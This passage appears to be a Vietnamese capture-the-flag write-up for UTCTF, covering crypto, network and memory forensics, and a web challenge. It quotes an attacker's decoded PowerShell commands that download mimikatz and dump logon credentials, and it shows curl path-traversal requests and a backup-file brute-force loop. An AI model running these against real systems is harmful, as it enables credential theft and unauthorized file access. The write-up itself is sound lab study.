7974169953398686387828190298818133524185649327100796359826780801595667024930318685789753137421610743512201897309368433105508039453885101529354797381798479 e = 65537 x0 = 6509528987576443891201220262256645055029730535168475510288717772061079427551573022375566053870329378362007869280097682955985214591746261242462307784381316 x1 = 2285975414952340881655571719814965273400880921330537958848959716216907393433088626350986713089773719958734468487481291043220200332986535742524669629053375 k_new = ((x1 - x0) % N) ^ e print(k_new) # Output: 3750616380774583378282541756376453742556799713262858808387022745751494990811834289765173796641055085108928496516752041192743025195125376029417159226536075 ``` #### Bước 3: Decode flag Kết nối lại server, nhập `k_new`, server trả về: ``` Message 1: 1301401965347282649026524555252858340419514483137194136205900125393970870193423221261106401230439027632991601914277655088079270829692969749854125251219326 Message 2: 16441782473165749985269251414928450202051900518929647105868978172963309169080628914206924705003483790602 ``` Convert số nguyên → bytes: ```python def to_str(n): h = hex(n)[2:] if len(h) % 2: h = '0' + h return bytes.fromhex(h) m2 = 16441782473165749985269251414928450202051900518929647105868978172963309169080628914206924705003483790602 print(to_str(m2).decode()) # utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de} ``` ### Flag ``` utflag{my_obl1v10u5_fr13nd_ru1n3d_my_c0de} ``` ## Watson [R4f3low] **Category:** Digital Forensics **Points:** 962 **Flag:** `utflag{pr1v473_3y3-m1551n6_l1nk}` --- ### Đề bài > We need your help again agent. The threat actor was able to escalate privileges. We're in the process of containment and we want you to find a few things on the threat actor. The triage is the same as the one in "Landfall". **Triage files:** `Modified_KAPE_Triage_Files.zip` (KAPE triage collection) --- ### Briefing ``` Checkpoint A: The threat actor deleted a word document containing secret project information. Can you retrieve it and submit the name of the project? Checkpoint B: The threat actor installed a suspicious looking program that may or may not be benign. Retrieve the SHA1 Hash of the executable. Hints: - Checkpoint A's password is strictly uppercase - Checkpoint B's password is the SHA1 Hash ``` Mỗi checkpoint là một file zip có password. Sau khi giải đúng, sẽ nhận được một phần của flag. Flag cuối là `utflag{A-B}`. --- ### Checkpoint A — Deleted Word Document #### Phân tích KAPE triage thu thập `$Recycle.Bin`, nơi lưu các file đã xóa. Trong thư mục Recycle Bin của Administrator (SID `-500`): ``` $I07YGFU.docx ← metadata (original path, size, deletion time) $R07YGFU.docx ← actual file content ``` File `$I` (metadata) cho biết đường dẫn gốc: ``` C:\Users\Administrator\Documents\SuperSecretFolder\SuperSecretProject.docx ``` #### Đọc nội dung .docx `.docx` là ZIP chứa `word/document.xml`. Trích xuất text: ```python import zipfile, io, re with zipfile.ZipFile('Modified_KAPE_Triage_Files.zip') as z: docx_data = z.read('.../$R07YGFU.docx') with zipfile.ZipFile(io.BytesIO(docx_data)) as docx: xml = docx.read('word/document.xml').decode('utf-8') texts = re.findall(r'<w:t[^>]*>([^<]+)</w:t>', xml) print(' '.join(texts)) ``` Nội dung tài liệu là một **Strategic Intelligence Memorandum** phân loại `TOP SECRET // OMEGA COMPARTMENT` về: > **PROJECT HOOKEM** — Restricted Artificial Intelligence Research Program Tên project: **HOOKEM** (strictly uppercase → đúng format password) #### Mở Checkpoint A ```python with zipfile.ZipFile('checkpointA.zip') as z: data = z.read('Checkpoint A/A.txt', pwd=b'HOOKEM') # → pr1v473_3y3 ``` **Flag part A:** `pr1v473_3y3` --- ### Checkpoint B — Suspicious Executable #### Tìm chương trình đáng ngờ Trong Recycle Bin có 2 file `.exe` đã xóa: | File | Tên gốc | SHA1 (tính từ zip) | |------|---------|---------------------| | `$RNJXINC.exe` | `VSCodeUserSetup-x64-1.111.0.exe` | `5f07b4cc...` | | `$RZ7G627.exe` | `velociraptor-v0.75.2-windows-amd64.exe` | `85f85356...` | Thử cả hai SHA1 → **không thành công**. #### Phân tích PowerShell History File `ConsoleHost_history.txt` của Administrator chứa các lệnh base64: ``` powershell -nop -e dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== → whoami /all powershell -e dwBnAGUAdAAgAGgAdAB0... → wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip → Expand-Archive mimikatz.zip → C:\Users\jon\Downloads\mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" ``` Threat actor đã dùng **mimikatz** để dump credentials sau khi leo thang đặc quyền. #### Amcache.hve — Tìm chương trình thực sự đáng ngờ Phân tích `C:\Windows\AppCompat\Programs\Amcache.hve` (registry hive lưu lịch sử chạy chương trình) bằng `python-registry`: ```python from Registry import Registry reg = Registry.Registry(io.BytesIO(amcache_data)) ## Navigate to Root\InventoryApplicationFile ``` Phát hiện entry **rất đáng ngờ**: ``` Name: Calc.exe Path: c:\users\administrator\appdata\local\ithqsu\2ga2pl\calc.exe FileId: 000067198a3ca72c49fb263f4a9749b4b79c50510155 ``` Đây là một **`calc.exe` giả** nằm trong thư mục random `ithqsu\2ga2pl` — kỹ thuật phổ biến của malware để ngụy trang thành Windows Calculator. Xác nhận thêm: trong `Recent` items của Administrator có `ithqsu.lnk` trỏ đến thư mục này. #### SHA1 từ Amcache `FileId` trong Amcache có tiền tố `0000` + SHA1 thực: ``` FileId: 0000 67198a3ca72c49fb263f4a9749b4b79c50510155 SHA1: 67198a3ca72c49fb263f4a9749b4b79c50510155 ``` #### Mở Checkpoint B ```python with zipfile.ZipFile('checkpointB.zip') as z: data = z.read('Checkpoint B/B.txt', pwd=b'67198a3ca72c49fb263f4a9749b4b79c50510155') # → m1551n6_l1nk ``` **Flag part B:** `m1551n6_l1nk` --- ### Flag Ghép hai phần theo format `utflag{A-B}`: ``` utflag{pr1v473_3y3-m1551n6_l1nk} ``` --- ### Timeline tấn công (tóm tắt) 1. Threat actor truy cập vào máy với quyền thấp 2. Escalate lên Administrator 3. Cài **`calc.exe` giả** tại `%LOCALAPPDATA%\ithqsu\2ga2pl\` (persistent malware) 4. Download và chạy **mimikatz** để dump credentials (`sekurlsa::logonpasswords`) 5. Download **VSCode** và **Velociraptor** (DFIR tool, có thể dùng làm C2 hoặc recon) 6. Xóa các file nhạy cảm (document, exe) vào Recycle Bin 7. Xóa **SuperSecretProject.docx** chứa thông tin PROJECT HOOKEM ### Artifacts sử dụng | Artifact | Mục đích | |----------|----------| | `$Recycle.Bin/$I*.docx` | Metadata file đã xóa (original path) | | `$Recycle.Bin/$R*.docx` | Content file đã xóa | | `PSReadline/ConsoleHost_history.txt` | Lịch sử lệnh PowerShell | | `Amcache.hve` | SHA1 và đường dẫn chương trình đã chạy | | Windows Prefetch | Xác nhận chương trình đã thực thi | ## CRAB MENTALITY [P1c0L0] ![image](https://hackmd.io/_uploads/HJTDH4W9Ze.png) - Khi truy cập vào web ta thấy giao diện hiển thị một nút `GET FLAG` với cơ chế: - Click `GET FLAG` lần đầu để đăng ký yêu cầu - Chờ đủ 5 phút mà không click thêm - Click `GET FLAG` lần hai để nhận flag - Nếu bất kỳ team nào khác cũng request trong cửa sổ 5 phút của bạn, cả hai yêu cầu đều bị hủy ### View source ![image](https://hackmd.io/_uploads/r1NaSVb9-l.png) - Mở view-source của web, ta thấy có một comment khả nghi là `<!-- future: rollback old style of site + server code from backup files -->` => Gợi ý rằng server có backup files chứa source code cũ - JavaScript endpoint: `const res = await fetch('/getFlag?f=flag.txt');` => Tham số `f` nhận trực tiếp tên file => dấu hiệu của Local File Inclusion - `GET /getFlag?f=<filename>` đọc và trả về nội dung file - `GET /status` trả về `{"has_pending": bool, "remaining": int}` ### Exploit - Thử truy cập các file khác nhau ```java! - thử đọc file tuyệt đối (bị chặn) curl "http://challenge.utctf.live:5888/getFlag?f=/flag.txt" => 403 Forbidden (file tồn tại nhưng bị block path tuyệt đối) - thử path traversal tương đối curl "http://challenge.utctf.live:5888/getFlag?f=../flag.txt" => {"status":"waiting","wait_until":...} ← path hợp lệ, server chấp nhận ``` => Path traversal `../flag.txt` được server chấp nhận, trả về JSON waiting thay vì 404 => xác nhận LFI tồn tại - Dựa vào HTML comment gợi ý về backup files ta brute-force các tên file phổ biến: ```python! for f in app.py.bak server.py.bak main.py.bak app.py~ index.py wsgi.py run.py; do echo -n "$f: " curl -s "http://challenge.utctf.live:5888/getFlag?f=../$f" | head -c 100 echo done ``` - Kết quả: ```css! app.py.bak: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL server.py.bak: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL main.py.bak: import base64 _d = [ 0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x79, 0x30, 0x75, 0x5f, 0x65 app.py~: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL index.py: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL wsgi.py: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL run.py: <!doctype html> <html lang=en> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL ``` - Đọc backup file ![image](https://hackmd.io/_uploads/HyzYv4-5We.png) - Nội dung file `main.py.bak` ```python! import base64 _d = [ 0x75, 0x74, 0x66, 0x6c, 0x61, 0x67, 0x7b, 0x79, 0x30, 0x75, 0x5f, 0x65, 0x31, 0x74, 0x68, 0x33, 0x72, 0x5f, 0x77, 0x40, 0x31, 0x74, 0x5f, 0x79, 0x72, 0x5f, 0x74, 0x75, 0x72, 0x6e, 0x5f, 0x30, 0x72, 0x5f, 0x63, 0x75, 0x74, 0x5f, 0x31, 0x6e, 0x5f, 0x6c, 0x31, 0x6e, 0x65, 0x7d ] _k = base64.b64decode("U2VjcmV0S2V5MTIz").decode() _x = bytes([ c ^ ord(_k[i % len(_k)]) for i, c in enumerate(_d) ]).hex() if __name__ == "__main__": raw = bytes( int(_x[i:i+2], 16) ^ ord(_k[i // 2 % len(_k)]) for i in range(0, len(_x), 2) ) print(raw.decode()) ``` - Decode mảng `_d` ta lấy được flag **FLAG: utflag{y0u_e1th3r_w@1t_yr_turn_0r_cut_1n_l1ne}** ## Fortune Teller [dvy4nhh] ### 1. Mô tả bài ![image](https://hackmd.io/_uploads/SyBLKVbcZx.png) Challenge sử dụng một **Bộ sinh số Giả tuyến (LCG)** để tạo số ngẫu nhiên, sau đó XOR flag với output thứ 5 làm khóa. Nhiệm vụ: từ 4 output đầu tiên, tìm output thứ 5 rồi giải mã flag. Công thức LCG: ``` x_(n+1) = (a * x_n + c) % m m = 4294967296 (= 2^32) a, c = bí mật (cần tìm) ``` **Dữ liệu cho sẵn:** | Tên | Giá trị | |-----|---------| | output_1 | 4176616824 | | output_2 | 2681459949 | | output_3 | 1541137174 | | output_4 | 3272915523 | | ciphertext (hex) | `3cff226828ec3f743bb820352aff1b7021b81b623cff31767ad428672ef6` | Flag được mã hóa bằng: `flag XOR (output_5 lặp lại theo chu kỳ 4 byte)` --- ### 2. Phân tích lỗ hổng LCG **không phải CSPRNG** — chỉ cần biết 3 giá trị liên tiếp là đủ để khôi phục hoàn toàn `a` và `c`, từ đó dự đoán mọi giá trị tương lai. ### Tìm a Từ hai bước liên tiếp: ``` x2 = (a * x1 + c) mod m ...(1) x3 = (a * x2 + c) mod m ...(2) Lấy (2) - (1): x3 - x2 = a * (x2 - x1) mod m => a = (x3 - x2) * modinv(x2 - x1, m) mod m ``` ### Tìm c ``` c = (x2 - a * x1) mod m ``` ### Dự đoán output_5 ``` x5 = (a * x4 + c) mod m ``` --- ### 3. Khai thác ```python m = 2**32 x1 = 4176616824 x2 = 2681459949 x3 = 1541137174 x4 = 3272915523 # Bước 1: Tìm a bằng nghịch đảo modular a = (x3 - x2) * pow(x2 - x1, -1, m) % m # Bước 2: Tìm c c = (x2 - a * x1) % m # Bước 3: Xác minh assert (a * x1 + c) % m == x2 assert (a * x2 + c) % m == x3 assert (a * x3 + c) % m == x4 # Bước 4: Dự đoán output_5 x5 = (a * x4 + c) % m # Bước 5: Giải mã flag ciphertext = bytes.fromhex( '3cff226828ec3f743bb820352aff1b7021b81b623cff31767ad428672ef6' ) key = x5.to_bytes(4, 'big') flag = bytes([ciphertext[i] ^ key[i % 4] for i in range(len(ciphertext))]) print(flag.decode()) ``` --- ### 4. Kết quả | Tham số | Giá trị | |---------|---------| | a | 3355924837 | | c | 2915531925 | | output_5 | 1233863684 | | key (hex) | `498b4404` | :::success Flag: utflag{pr3d1ct_th3_futur3_lcg} ::: --- ## Smooth Criminal [dvy4nhh] ### 1. Mô tả challenge ![image](https://hackmd.io/_uploads/B142gB-cbx.png) > *"Our cryptographer assured us that a 649-bit prime makes this completely unbreakable. He also said the order of the group "doesn't really matter that much." He no longer works here."* File đính kèm cho các tham số: ``` p = 1363402168895933073124331075716158793413739602475544713040662303260999503992311247861095036060712607168809958344896622485452229880797791800555191761456659256252204001928525518751268009081850267001 g = 223 h = 1009660566883490917987475170194560289062628664411983200474597006489640893063715494610197294704009188265361176318190659133132869144519884282668828418392494875096149757008157476595873791868761173517 ``` Mục tiêu: tìm `x` sao cho `h ≡ g^x (mod p)`, rồi convert x sang bytes để lấy flag. --- ### 2. Phân tích #### 2.1. Điểm yếu: p-1 Smooth Câu hint **"order of the group doesn't really matter that much"** chính là chìa khóa. Ta factor `p-1`: ```python from sympy import factorint factors = factorint(p - 1) # p-1 = 2^3 * 3^3 * 5^3 * 7^2 * 11^3 * 13^3 * 17^3 * 19 * 23^2 # * 29^2 * 31^3 * 37^2 * ... * 191^5 * 193 * 197 ``` `p-1` **hoàn toàn smooth** — chỉ gồm các thừa số nguyên tố nhỏ (tất cả ≤ 197). Đây là điều kiện để dùng **Pohlig-Hellman**. #### 2.2. Tại sao nguy hiểm? DLP an toàn khi nhóm có order **lớn và nguyên tố**. Khi order = p-1 smooth, ta có thể chia nhỏ bài toán thành nhiều DLP nhỏ trong các subgroup, giải từng cái rồi ghép lại bằng CRT — cực kỳ nhanh. --- ### 3. Tấn công: Pohlig-Hellman #### Nguyên lý 1. Factor `order = p-1 = q1^e1 * q2^e2 * ... * qk^ek` 2. Với mỗi `qi^ei`, chiếu bài toán vào subgroup nhỏ → giải DLP nhỏ bằng Baby-Step Giant-Step 3. Dùng **CRT** kết hợp các nghiệm → ra `x` ### Full Exploit ```python from sympy import factorint p = 1363402168895933073124331075716158793413739602475544713040662303260999503992311247861095036060712607168809958344896622485452229880797791800555191761456659256252204001928525518751268009081850267001 g = 223 h = 1009660566883490917987475170194560289062628664411983200474597006489640893063715494610197294704009188265361176318190659133132869144519884282668828418392494875096149757008157476595873791868761173517 def baby_step_giant_step(g, h, p, n): m = int(n**0.5) + 1 table = {} baby = 1 for j in range(m): table[baby] = j baby = baby * g % p giant_step = pow(g, m * (p-2), p) gamma = h for i in range(m): if gamma in table: return i * m + table[gamma] gamma = gamma * giant_step % p return None def pohlig_hellman(g, h, p, order, factors): remainders, moduli = [], [] for q, e in factors.items(): q_e = q**e g_i = pow(g, order // q_e, p) h_i = pow(h, order // q_e, p) x_i = 0 gamma = pow(g_i, q**(e-1), p) for k in range(e): h_k = pow(h_i * pow(g_i, (-x_i) % q_e, p) % p, q**(e-1-k), p) d_k = baby_step_giant_step(gamma, h_k, p, q) x_i = (x_i + d_k * q**k) % q_e remainders.append(x_i) moduli.append(q_e) return remainders, moduli def crt(remainders, moduli): M = 1 for m in moduli: M *= m x = 0 for r, m in zip(remainders, moduli): Mi = M // m yi = pow(Mi, -1, m) x += r * Mi * yi return x % M order = p - 1 factors = factorint(order) remainders, moduli = pohlig_hellman(g, h, p, order, factors) x = crt(remainders, moduli) assert pow(g, x, p) == h flag = x.to_bytes((x.bit_length() + 7) // 8, 'big').decode() print(flag) ``` --- ### 4. Kết quả ``` x = 810642462826781236630409314742801724164468986543937060322593530182136957 ``` :::success Flag: utflag{sm00th_cr1m1nal_caught} ::: --- ## Half Awake [dvy4nhh] ![image](https://hackmd.io/_uploads/BkldfBW5Wx.png) > Our SOC captured suspicious traffic from a lab VM right before dawn. Most packets look like ordinary client chatter, but a few are pretending to be something they are not. --- ### Tổng quan Bài cho file `half-awake.pcap` (~3.6 KB). Nhìn sơ thấy toàn TCP chatter bình thường, nhưng đề bài hint rõ "a few are pretending to be something they are not" — tức có gói giả dạng protocol khác để giấu dữ liệu. --- ### Phân tích #### Bước 1 — Đọc raw hex, tìm HTTP request ```bash od -A x -t x1z half-awake.pcap ``` Phát hiện HTTP request: ``` GET /instructions.hello HTTP/1.1 Host: awake.utctf.local User-Agent: half-awake-client/1.0 Accept-Encoding: gzip, xor ``` Header `Accept-Encoding: gzip, xor` — `xor` không phải encoding chuẩn → gợi ý dữ liệu được mã hoá XOR. --- #### Bước 2 — HTTP Response chứa instructions Server trả về: ``` Read this slowly: 1) mDNS names are hints: alert.chunk, chef.decode, key.version 2) Not every 'TCP blob' is really what it pretends to be 3) If you find a payload that starts with PK, treat it as a file ``` --- #### Bước 3 — mDNS TXT record chứa XOR key Trong pcap có 3 mDNS query: `alert.chunk.local`, `chef.decode.local`, `key.version.local`. DNS TXT response cho `key.version.local`: ``` 00b7 ``` → Đây là XOR key 2 byte: `[0x00, 0xb7]` --- #### Bước 4 — Extract ZIP ẩn trong TCP payload giả TLS Một số TCP blob bắt đầu bằng `16 03 03` (TLS record header), nhưng thực ra bên trong là ZIP. Tìm magic bytes `PK\x03\x04` trong raw pcap: ```python with open('half-awake.pcap', 'rb') as f: data = f.read() pk_offset = data.find(b'PK\x03\x04') pk_end = data.find(b'PK\x05\x06', pk_offset) zip_data = data[pk_offset : pk_end + 22] # EOCD = 22 bytes with open('extracted.zip', 'wb') as f: f.write(zip_data) ``` Giải nén ra 2 file: - `stage2.bin` — 41 bytes dữ liệu mã hoá - `readme.txt` — *"not everything here is encrypted the same way"* --- #### Bước 5 — XOR decode stage2.bin `stage2.bin` (hex): ``` 75 c3 66 db 61 d0 7b df 34 db 66 e8 61 c0 34 dc 33 e8 73 84 33 e8 74 df 33 e8 70 c5 30 c3 30 d4 30 db 5f c3 72 86 63 dc 7d ``` XOR với key 2-byte `[0x00, 0xb7]` theo chu kỳ: ```python stage2 = open('stage2.bin', 'rb').read() key = [0x00, 0xb7] result = bytes([b ^ key[i % 2] for i, b in enumerate(stage2)]) print(result.decode()) ``` Output: ``` utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck} ``` --- ### Flag :::success Flag: utflag{h4lf_aw4k3_s33_th3_pr0t0c0l_tr1ck} ::: --- ## Cold Workspace [dvy4nhh] ![image](https://hackmd.io/_uploads/B1Ot7BW9Zx.png) > A workstation in the design lab crashed during an overnight maintenance window. By morning, a critical desktop artifact was gone and the user swore they never touched it. You only have a memory snapshot from shortly before reboot. Recover what was lost. 3 file đính kèm: `cold-workspace.dmp`, `cold-workspace__1_.dmp`, `cold-workspace__2_.dmp` --- ### Phân tích ban đầu Kiểm tra 3 file: ```bash md5sum cold-workspace*.dmp ``` ``` de064d4a92d28effe428b2012e391109 cold-workspace.dmp de064d4a92d28effe428b2012e391109 cold-workspace__1_.dmp de064d4a92d28effe428b2012e391109 cold-workspace__2_.dmp ``` Cả 3 file **giống nhau hoàn toàn** — chỉ có 1 file thực sự. Nhìn vào header: ``` 000000 50 41 47 45 44 55 36 34 PAGEDU64 000020 43 6f 6c 64 57 6f 72 6b ColdWork 000028 73 70 61 63 65 53 79 6e spaceSyn 000030 74 68 65 74 69 63 44 75 theticDu 000038 6d 70 00 mp. ``` Magic bytes: `PAGEDU64`, tên nội bộ: `ColdWorkspaceSyntheticDump`. Thử Volatility: ``` Unsatisfied requirement plugins.Info.kernel.layer_name A translation layer requirement was not fulfilled. ``` Đây là **định dạng tùy chỉnh** — không phải Windows crash dump thật. Dữ liệu được nhúng thẳng dưới dạng text ASCII bên trong binary. --- ### Trích xuất strings ```python import re with open('cold-workspace.dmp', 'rb') as f: data = f.read() strings = re.findall(b'[ -~\t\n\r]{10,}', data) for s in strings: print(repr(s.decode('ascii', errors='replace'))) ``` Kết quả quan trọng: **Process tree:** ``` Process Tree Snapshot System(4) smss.exe(332) csrss.exe(516) wininit.exe(620) services.exe(688) lsass.exe(744) explorer.exe(4028) notepad.exe(5120) WINWORD.EXE(5304) powershell.exe(4608) ``` **Command lines:** ``` cmdline(4608): powershell.exe -ExecutionPolicy Bypass -File C:\Users\analyst\Desktop\encrypt_flag.ps1 cmdline(5120): notepad.exe C:\Users\analyst\Desktop\note.txt cmdline(5304): WINWORD.EXE C:\Users\analyst\Desktop\maintenance.docx ``` **MFT entries:** ``` MFT: C:\Users\analyst\Desktop\note.txt MFT: C:\Users\analyst\Desktop\maintenance.docx MFT: C:\Users\analyst\Desktop\flag.enc MFT: C:\Users\analyst\Desktop\team_photo.jpg ``` --- ### Phân tích PowerShell script Trong memory còn fragment của `encrypt_flag.ps1`: ```powershell $bytes = [System.IO.File]::ReadAllBytes('C:\Users\analyst\Desktop\flag.jpg') $key = [byte[]](0..31) $iv = [byte[]](0..15) # actual key/iv allocated at runtime, serialized to env vars $env:ENCD = '<ciphertext b64>' $env:ENCK = '<key b64>' $env:ENCV = '<iv b64>' Remove-Item C:\Users\analyst\Desktop\flag.jpg ``` Script mã hóa `flag.jpg` bằng **AES-256-CBC**, lưu key/IV vào environment variables của process, rồi xóa file gốc. Đây chính là artifact "đã biến mất". Key insight: **environment variables sống trong memory của process** — dù file gốc bị xóa, key vẫn còn trong dump. --- ### Thu hồi key từ ENV block Tiếp tục đọc strings, tìm thấy ENV_BLOCK của PID 4608 (powershell.exe): ``` ENV_BLOCK_START::PID=4608::powershell.exe:: ENCD=S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5 ENCK=Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU= ENCV=xXpGwuoqihg/QHFTM2yMxA== SESSION=Console USERDOMAIN=WORKGROUP ENV_BLOCK_END ``` Decode base64: - `ENCK` → 32 bytes → **AES-256 key** - `ENCV` → 16 bytes → **CBC IV** - `ENCD` → 144 bytes → **ciphertext** --- ### Giải mã ```python import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad ENCD = 'S4wX8ml7/f9C2ffc8vENqtWw8Bko1RAhCwLLG4vvjeT2iJ26nfeMzWEyx/HlK1KmOhIrSMoWtmgu2OKMtTtUXddZDQ87FTEXIqghzCL6ErnC1+GwpSfzCDr9woKXj5IzcU2C/Ft5u705bY3b6/Z/Q/N6MPLXV55pLzIDnO1nvtja123WWwH54O4mnyWNspt5' ENCK = 'Ddf4BCsshqFHJxXPr5X6MLPOGtITAmXK3drAqeZoFBU=' ENCV = 'xXpGwuoqihg/QHFTM2yMxA==' key = base64.b64decode(ENCK) iv = base64.b64decode(ENCV) ciphertext = base64.b64decode(ENCD) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size) print(decrypted) ``` Output: ``` b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01... Recovered desktop image bytes... FLAG:utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s} Generated by Cold Workspace challenge. ...\xff\xd9' ``` --- ### Flag :::success Flag: utflag{m3m0ry_r3t41ns_wh4t_d1sk_l053s} ::: --- ## Last Byte Standing [dvy4nhh] ![image](https://hackmd.io/_uploads/B1-GNHZqbx.png) > *A midnight network capture from a remote office was marked "routine" and archived without review. Hours later, incident response flagged it for one subtle anomaly that nobody could explain. Find what was missed and recover the flag.* --- ### Phân tích #### Bước 1: Tổng quan file pcap ```bash tshark -r last-byte-standing.pcap -q -z io,phs ``` ``` eth frames:1500 bytes:126165 ip frames:1370 bytes:120705 udp frames:890 bytes:84282 dns frames:880 bytes:83446 data frames:10 bytes:836 tcp frames:480 bytes:36423 http frames:104 bytes:14551 tls frames:56 bytes:4592 arp frames:130 bytes:5460 ``` 1500 gói tin, gồm DNS, HTTP, TLS, ARP — trông rất bình thường. --- #### Bước 2: Kiểm tra từng loại traffic **DNS:** Các domain như `sync-cache.nexthop-lab.net`, `auth.internal-gw.local`... không có gì nổi bật. **HTTP:** Toàn bộ request đều là `GET /asset/N.js`, response đều trả về `console.log('ok');` — giống nhau hoàn toàn. **UDP data (10 gói lạ):** ```bash tshark -r last-byte-standing.pcap -Y "udp and not dns" -T fields -e data ``` Decode hex ra: ``` event=1490;status=ok;service=edge-proxy-11 event=1491;status=ok;service=edge-proxy-12 ... ``` Trông như telemetry bình thường. Không có flag ở đây. --- #### Bước 3: Nhận ra điểm mấu chốt Tên challenge **"Last Byte Standing"** là hint trực tiếp: dữ liệu được giấu trong **byte cuối của mỗi gói tin**. Đây là kỹ thuật network steganography — rất khó phát hiện vì không làm thay đổi nội dung payload, nằm ở cuối data field mà IDS/firewall thường bỏ qua. --- #### Bước 4: Khai thác Parse pcap thủ công, trích byte cuối mỗi gói: ```python import struct with open('last-byte-standing.pcap', 'rb') as f: f.read(24) # skip global header last_bytes = [] while True: hdr = f.read(16) if len(hdr) < 16: break _, _, incl_len, _ = struct.unpack('<IIII', hdr) data = f.read(incl_len) if data: last_bytes.append(data[-1]) # Tất cả byte cuối chỉ là 0x30 ('0') hoặc 0x31 ('1') — binary ASCII! bits = [b - 0x30 for b in last_bytes if b in (0x30, 0x31)] # Ghép 8 bit thành 1 ký tự chars = [] for i in range(0, len(bits) - 7, 8): byte_val = int(''.join(str(b) for b in bits[i:i+8]), 2) if 32 <= byte_val < 127: chars.append(chr(byte_val)) print(''.join(chars)) ``` Byte cuối của mỗi packet là `0x30` hoặc `0x31` — tức ký tự ASCII `'0'` và `'1'`. Ghép lại thành chuỗi bit nhị phân, decode 8 bit một lần ra ASCII. --- ### Flag :::success Flag: utflag{d1g_t0_th3_l4st_byt3} ::: --- ## Silent Archive [dvy4nhh] ![image](https://hackmd.io/_uploads/B1124rZq-x.png) > Incident response recovered a damaged archive from an isolated workstation. The bundle split into two branches during transfer: one looks like duplicate camera captures, and the other is an absurdly deep archive chain. Follow both trails, reconstruct the hidden message, and recover the token. --- ### Phân tích Giải nén `freem4.zip` thu được 3 file: - `File1.tar` — chứa 2 ảnh camera - `File2.tar` — chứa archive chain sâu - `README.txt` — ghi chú về 2 nhánh --- ### Branch 1 — Duplicate Camera Images Giải nén `File1.tar` ra 2 file ảnh có cùng kích thước (118895 bytes, 1280x720): `cam_300.jpg` và `cam_301.jpg`. Hai ảnh trông giống nhau nhưng MD5 khác nhau — dấu hiệu có dữ liệu ẩn. Dùng `strings` để kiểm tra phần cuối mỗi ảnh: ```bash strings cam_300.jpg | tail -20 strings cam_301.jpg | tail -20 ``` Mỗi ảnh chứa một block telemetry ẩn ở cuối JPEG với trường `AUTH_FRAGMENT_B64` khác nhau: ``` # cam_300.jpg AUTH_FRAGMENT_B64:QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz # cam_301.jpg AUTH_FRAGMENT_B64:MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh ``` Decode base64: ```bash echo "QWx3YXlzX2NoZWNrX2JvdGhfaW1hZ2Vz" | base64 -d # => Always_check_both_images echo "MHI0bmczX0FyQ2gxdjNfVDRiU3A0Y2Uh" | base64 -d # => 0r4ng3_ArCh1v3_T4bSp4ce! ``` Fragment thứ hai là **password** để dùng ở bước tiếp theo: `0r4ng3_ArCh1v3_T4bSp4ce!` --- ### Branch 2 — Deep Archive Chain `File2.tar` chứa `999.tar` — một chuỗi archive lồng nhau sâu 999 cấp. Script tự động giải nén từng cấp: ```bash current="999.tar" for i in $(seq 1 999); do inner=$(tar -tf "$current" | head -1) tar -xf "$current" rm -f "$current" current="$inner" if ! file "$current" | grep -q "tar"; then break fi done ``` Sau 999 lần extract, thu được file cuối `Noo.txt` — thực chất là một ZIP có password: ```bash file Noo.txt # => Noo.txt: Zip archive data, at least v2.0 to extract ``` Dùng password từ Branch 1: ```bash unzip -P "0r4ng3_ArCh1v3_T4bSp4ce!" Noo.txt -d extracted/ ``` Bên trong có `NotaFlag.txt` chứa toàn dấu cách và tab — đây là **Whitespace Steganography**. --- ### Giải mã Whitespace Steganography Mỗi dòng trong `NotaFlag.txt` encode một ký tự ASCII: - `Space (0x20)` = bit `0` - `Tab (0x09)` = bit `1` - Mỗi dòng có 1 dấu cách đầu tiên làm padding, các ký tự còn lại là 7 bit nhị phân Script Python decode: ```python with open("NotaFlag.txt", "rb") as f: lines = f.read().split(b"\n") result = [] for line in lines: if not line: continue if line.startswith(b" "): line = line[1:] # strip leading space bits = "".join("1" if b == ord("\t") else "0" for b in line) if bits: result.append(chr(int(bits, 2))) print("".join(result)) ``` Output: ``` utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3} ``` --- ### Flag :::success Flag: utflag{d1ff_th3_tw1ns_unt4r_th3_st0rm_r34d_th3_wh1t3sp4c3} ::: --- ## Landfall [dvy4nhh] ![image](https://hackmd.io/_uploads/HJqSrHZqZl.png) > You are a DFIR investigator in charge of collecting and analyzing information from a recent breach at UTCTF LLC. The higher ups have sent us a triage of the incident. Can you read the briefing and solve your part of the case? **Briefing:** Triage được thu thập từ desktop bị xâm nhập. Threat actor đã đăng nhập vật lý vào máy (insider threat). Nhiệm vụ là tìm command mà threat actor đã dùng để lấy credentials phục vụ leo thang đặc quyền (privilege escalation). **Hint:** Password của `checkpointA.zip` là **MD5 hash của PHẦN ENCODED** trong command tìm được. **Files cung cấp:** - `briefing.txt` — mô tả kịch bản - `how-to-solve.txt` — hướng dẫn lấy flag qua checkpointA.zip - `checkpointA.zip` — zip có password chứa `flag.txt` - 